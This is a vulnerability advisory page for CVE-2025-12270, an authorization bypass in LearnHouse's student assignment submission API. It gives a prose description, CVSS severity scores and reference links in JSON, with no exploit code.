      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/998e545c-2ad5-48ec-bad1-d346170af408?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GHJ3-XMP5-M2WV

Vulnerability from github – Published: 2025-10-27 12:32 – Updated: 2025-10-27 12:32

Details

A vulnerability was determined in LearnHouse up to 98dfad76aad70711a8113f6c1fdabfccf10509ca. The impacted element is an unknown function of the file /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file of the component Student Assignment Submission Handler. This manipulation causes improper control of resource identifiers. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-12270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-99"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-27T12:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in LearnHouse up to 98dfad76aad70711a8113f6c1fdabfccf10509ca. The impacted element is an unknown function of the file /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file of the component Student Assignment Submission Handler. This manipulation causes improper control of resource identifiers. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-ghj3-xmp5-m2wv",
  "modified": "2025-10-27T12:32:52Z",
  "published": "2025-10-27T12:32:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12270"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/KhanMarshaI/f71f86fbd5d8e8363f9113a8c054c28b"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.329942"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.329942"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.674147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

CWE-639

Authorization Bypass Through User-Controlled Key

GHSA-GG3G-V6XG-6H6P

GHSA-GG3J-3F24-XWFP

GHSA-GG42-MWR6-P82C

GHSA-GG93-X632-9CCV

Summary

Details

PoC

Prerequisites

Attack Steps

Proof of Concept Script

Proof of Concept Output

Impact

Fix

GHSA-GGGM-V68X-QQWV

GHSA-GH2C-3F8J-9PH4

GHSA-GH75-88G6-GR96

GHSA-GH98-4PHW-6FMW

Summary

Details

Attack scenario

Impact

Proof of concept

Patches

Workarounds

GHSA-GHFC-6WF7-MHGW

GHSA-GHJ3-XMP5-M2WV

Mitigation

Mitigation

Mitigation